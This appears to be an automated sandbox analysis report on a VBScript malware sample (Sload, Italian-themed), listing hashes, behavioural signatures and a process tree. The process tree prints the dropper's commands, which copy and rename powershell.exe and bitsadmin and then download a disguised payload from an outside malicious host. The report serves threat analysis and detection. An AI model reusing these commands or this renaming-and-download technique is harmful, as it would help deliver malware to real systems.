Analysis
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max time kernel
31s -
max time network
65s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
23-11-2020 13:04
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_Sload_Italy_vbs (27).vbs
Resource
win7v20201028
General
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Target
Allegato_Sload_Italy_vbs (27).vbs
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Size
7KB
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MD5
9cab983254fb7916cb169b0736919007
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SHA1
ed7fc56e371795f3cd30ae5320a209719b17700c
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SHA256
900aaef2390d44e3cf2950ac49d8d44a79c5ba18c683a8a5d25638641e247daa
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SHA512
3fa3c26dc478a13621115003d0f7107f4875105f09259c6dd247431b1c8ed9d143e8a44078c89c3fb40de76c6eb326d1f0937c8b2887859811be4d67b1db4419
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
QZrexYgin.exepid process 3724 QZrexYgin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 640 wrote to memory of 2284 640 WScript.exe cmd.exe PID 640 wrote to memory of 2284 640 WScript.exe cmd.exe PID 2284 wrote to memory of 2820 2284 cmd.exe cmd.exe PID 2284 wrote to memory of 2820 2284 cmd.exe cmd.exe PID 2284 wrote to memory of 3764 2284 cmd.exe cmd.exe PID 2284 wrote to memory of 3764 2284 cmd.exe cmd.exe PID 640 wrote to memory of 3724 640 WScript.exe QZrexYgin.exe PID 640 wrote to memory of 3724 640 WScript.exe QZrexYgin.exe PID 640 wrote to memory of 3724 640 WScript.exe QZrexYgin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (27).vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zOygKO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\QZrexYg*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zOygKO.exe3⤵PID:2820
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\QZrexYg*.exe3⤵PID:3764
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C:\ProgramData\QZrexYgin.exe"C:\ProgramData\QZrexYgin.exe" /transfer QGXCAd /download https://fhivelifestyle.online/lidepato/03339980793/1x1.gif C:\Users\Admin\AppData\Roaming\1x1.gif2⤵
- Executes dropped EXE
PID:3724
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca